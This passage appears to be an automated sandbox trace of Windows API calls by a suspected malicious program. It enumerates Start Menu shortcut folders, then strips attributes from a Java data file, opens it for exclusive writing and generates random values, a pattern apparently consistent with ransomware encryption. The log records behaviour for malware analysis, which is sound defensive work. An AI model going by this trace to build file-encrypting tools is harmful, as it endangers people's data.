cFileName="Speech Recognition.lnk", cAlternateFileName="SPEECH~1.LNK")) returned 0 [0160.267] FindClose (in: hFindFile=0x1cd862b0 | out: hFindFile=0x1cd862b0) returned 1 [0160.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce58ed0) returned 1 [0160.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad550) returned 1 [0160.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd654a0) returned 1 Thread: id = 2845 os_tid = 0x1a94 [0160.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1cd654a0 [0160.270] wcscpy (in: _Dest=0x1cd654a0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools" [0160.270] wcscat (in: _Dest=0x1cd654a0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\" [0160.270] wcscat (in: _Dest=0x1cd654a0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*" [0160.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce58ed0 [0160.271] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*", lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ace9ee9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ace9ee9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd862b0 [0160.271] wcscmp (_String1=".", _String2=".") returned 0 [0160.271] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ace9ee9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ace9ee9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.271] wcscmp (_String1="..", _String2=".") returned 1 [0160.271] wcscmp (_String1="..", _String2="..") returned 0 [0160.271] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e4ce49a, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3e4ce49a, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3e51a75b, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Character Map.lnk", cAlternateFileName="CHARAC~1.LNK")) returned 1 [0160.271] wcscmp (_String1="Character Map.lnk", _String2=".") returned 1 [0160.271] wcscmp (_String1="Character Map.lnk", _String2="..") returned 1 [0160.271] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xec0f3952, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xec0f3952, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8ace9ee9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0160.271] wcscmp (_String1="Desktop.ini", _String2=".") returned 1 [0160.271] wcscmp (_String1="Desktop.ini", _String2="..") returned 1 [0160.271] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x297b3b95, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x297b3b95, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x29825fb5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x50a, dwReserved0=0x0, dwReserved1=0x0, cFileName="dfrgui.lnk", cAlternateFileName="")) returned 1 [0160.271] wcscmp (_String1="dfrgui.lnk", _String2=".") returned 1 [0160.271] wcscmp (_String1="dfrgui.lnk", _String2="..") returned 1 [0160.271] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d31a0d9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d31a0d9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3d36639a, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Disk Cleanup.lnk", cAlternateFileName="DISKCL~1.LNK")) returned 1 [0160.271] wcscmp (_String1="Disk Cleanup.lnk", _String2=".") returned 1 [0160.271] wcscmp (_String1="Disk Cleanup.lnk", _String2="..") returned 1 [0160.271] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x141abfff, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x141abfff, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x14375082, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4da, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resource Monitor.lnk", cAlternateFileName="RESOUR~1.LNK")) returned 1 [0160.271] wcscmp (_String1="Resource Monitor.lnk", _String2=".") returned 1 [0160.271] wcscmp (_String1="Resource Monitor.lnk", _String2="..") returned 1 [0160.271] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5e7f40, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xa5e7f40, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xa5e7f40, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Information.lnk", cAlternateFileName="SYSTEM~1.LNK")) returned 1 [0160.272] wcscmp (_String1="System Information.lnk", _String2=".") returned 1 [0160.272] wcscmp (_String1="System Information.lnk", _String2="..") returned 1 [0160.272] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c8d61e7, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3c8d61e7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3c8fc347, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Restore.lnk", cAlternateFileName="SYSTEM~2.LNK")) returned 1 [0160.272] wcscmp (_String1="System Restore.lnk", _String2=".") returned 1 [0160.272] wcscmp (_String1="System Restore.lnk", _String2="..") returned 1 [0160.272] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b9eb814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2b9eb814, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2b9eb814, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task Scheduler.lnk", cAlternateFileName="TASKSC~1.LNK")) returned 1 [0160.272] wcscmp (_String1="Task Scheduler.lnk", _String2=".") returned 1 [0160.272] wcscmp (_String1="Task Scheduler.lnk", _String2="..") returned 1 [0160.272] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ace9ee9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ace9ee9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ace9ee9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x528, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Easy Transfer Reports.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 1 [0160.272] wcscmp (_String1="Windows Easy Transfer Reports.lnk", _String2=".") returned 1 [0160.272] wcscmp (_String1="Windows Easy Transfer Reports.lnk", _String2="..") returned 1 [0160.272] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ac9dc28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ac9dc28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ac9dc28, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Easy Transfer.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0160.272] wcscmp (_String1="Windows Easy Transfer.lnk", _String2=".") returned 1 [0160.272] wcscmp (_String1="Windows Easy Transfer.lnk", _String2="..") returned 1 [0160.272] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ac9dc28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ac9dc28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ac9dc28, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Easy Transfer.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0160.272] FindClose (in: hFindFile=0x1cd862b0 | out: hFindFile=0x1cd862b0) returned 1 [0160.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce58ed0) returned 1 [0160.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd654a0) returned 1 [0160.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64b00) returned 1 Thread: id = 2846 os_tid = 0x1a98 [0160.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1cd64b00 [0160.277] wcscpy (in: _Dest=0x1cd64b00, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC" [0160.277] wcscat (in: _Dest=0x1cd64b00, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\" [0160.277] wcscat (in: _Dest=0x1cd64b00, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\*" [0160.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce58ed0 [0160.277] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\*", lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8126b520, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81291680, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd862b0 [0160.277] wcscmp (_String1=".", _String2=".") returned 0 [0160.277] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8126b520, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81291680, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.277] wcscmp (_String1="..", _String2=".") returned 1 [0160.277] wcscmp (_String1="..", _String2="..") returned 0 [0160.277] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a217df5, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x81291680, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x157, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0160.277] wcscmp (_String1="Desktop.ini", _String2=".") returned 1 [0160.277] wcscmp (_String1="Desktop.ini", _String2="..") returned 1 [0160.277] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x811d2fa0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x811d2fa0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x811d2fa0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x59c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.lnk", cAlternateFileName="SHAPEC~1.LNK")) returned 1 [0160.277] wcscmp (_String1="ShapeCollector.lnk", _String2=".") returned 1 [0160.277] wcscmp (_String1="ShapeCollector.lnk", _String2="..") returned 1 [0160.277] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8126b520, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x8126b520, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8126b520, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x56a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.lnk", cAlternateFileName="")) returned 1 [0160.277] wcscmp (_String1="TabTip.lnk", _String2=".") returned 1 [0160.277] wcscmp (_String1="TabTip.lnk", _String2="..") returned 1 [0160.277] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d103a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80d103a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80d103a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0160.277] wcscmp (_String1="Windows Journal.lnk", _String2=".") returned 1 [0160.277] wcscmp (_String1="Windows Journal.lnk", _String2="..") returned 1 [0160.277] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d103a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80d103a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80d103a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0160.278] FindClose (in: hFindFile=0x1cd862b0 | out: hFindFile=0x1cd862b0) returned 1 [0160.278] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce58ed0) returned 1 [0160.278] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64b00) returned 1 [0160.279] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508a90) returned 1 Thread: id = 2847 os_tid = 0x1aa0 [0160.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107e40 [0160.280] wcscpy (in: _Dest=0x107e40, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell" [0160.280] wcscat (in: _Dest=0x107e40, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\" [0160.281] wcscat (in: _Dest=0x107e40, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\*" [0160.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce58ed0 [0160.281] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\*", lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8d79c9d7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d7c2b37, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd862b0 [0160.281] wcscmp (_String1=".", _String2=".") returned 0 [0160.281] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8d79c9d7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d7c2b37, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.281] wcscmp (_String1="..", _String2=".") returned 1 [0160.281] wcscmp (_String1="..", _String2="..") returned 0 [0160.281] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8d776877, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8d776877, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d7c2b37, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0160.281] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0160.281] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0160.281] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x7c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell (x86).lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0160.281] wcscmp (_String1="Windows PowerShell (x86).lnk", _String2=".") returned 1 [0160.281] wcscmp (_String1="Windows PowerShell (x86).lnk", _String2="..") returned 1 [0160.281] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d79c9d7, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8d79c9d7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d7c2b37, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x5bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell ISE (x86).lnk", cAlternateFileName="WINDOW~4.LNK")) returned 1 [0160.281] wcscmp (_String1="Windows PowerShell ISE (x86).lnk", _String2=".") returned 1 [0160.281] wcscmp (_String1="Windows PowerShell ISE (x86).lnk", _String2="..") returned 1 [0160.281] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d750717, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8d750717, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d750717, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x5bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell ISE.lnk", cAlternateFileName="WINDOW~3.LNK")) returned 1 [0160.281] wcscmp (_String1="Windows PowerShell ISE.lnk", _String2=".") returned 1 [0160.281] wcscmp (_String1="Windows PowerShell ISE.lnk", _String2="..") returned 1 [0160.281] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x76b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 1 [0160.282] wcscmp (_String1="Windows PowerShell.lnk", _String2=".") returned 1 [0160.282] wcscmp (_String1="Windows PowerShell.lnk", _String2="..") returned 1 [0160.282] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x76b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 0 [0160.282] FindClose (in: hFindFile=0x1cd862b0 | out: hFindFile=0x1cd862b0) returned 1 [0160.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce58ed0) returned 1 [0160.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107e40) returned 1 [0160.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd651e0) returned 1 Thread: id = 2848 os_tid = 0x1aa4 [0160.285] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Nouakchott" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\nouakchott")) returned 0x20 [0165.804] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Nouakchott", dwFileAttributes=0x20) returned 1 [0166.535] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Nouakchott" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\nouakchott"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2bc8 [0167.633] GetFileSizeEx (in: hFile=0x2bc8, lpFileSize=0x4550f780 | out: lpFileSize=0x4550f780*=85) returned 1 [0167.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0dd0 [0167.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0ce0 [0167.634] NtQuerySystemTime (in: CurrentTime=0x4550f640 | out: CurrentTime=0x4550f640*=132462177727462000) returned 0x0 [0167.634] RtlRandomEx (in: Seed=0x4550f630 | out: Seed=0x4550f630) returned 0x6202c9b2 [0167.634] RtlRandomEx (in: Seed=0x4550f630 | out: Seed=0x4550f630) returned 0x5f67d206 [0167.634] RtlRandomEx (in: Seed=0x4550f630 | out: Seed=0x4550f630) returned 0x7839bc53 [0167.634] RtlRandomEx (in: Seed=0x4550f630 | out: Seed=0x4550f630) returned 0x62abbda9 [0167.634] RtlRandomEx (in: Seed=0x4550f630 | out: Seed=0x4550f630) returned 0x3f65d485 [0167.634] RtlRandomEx (in: Seed=0x4550f630 | out: 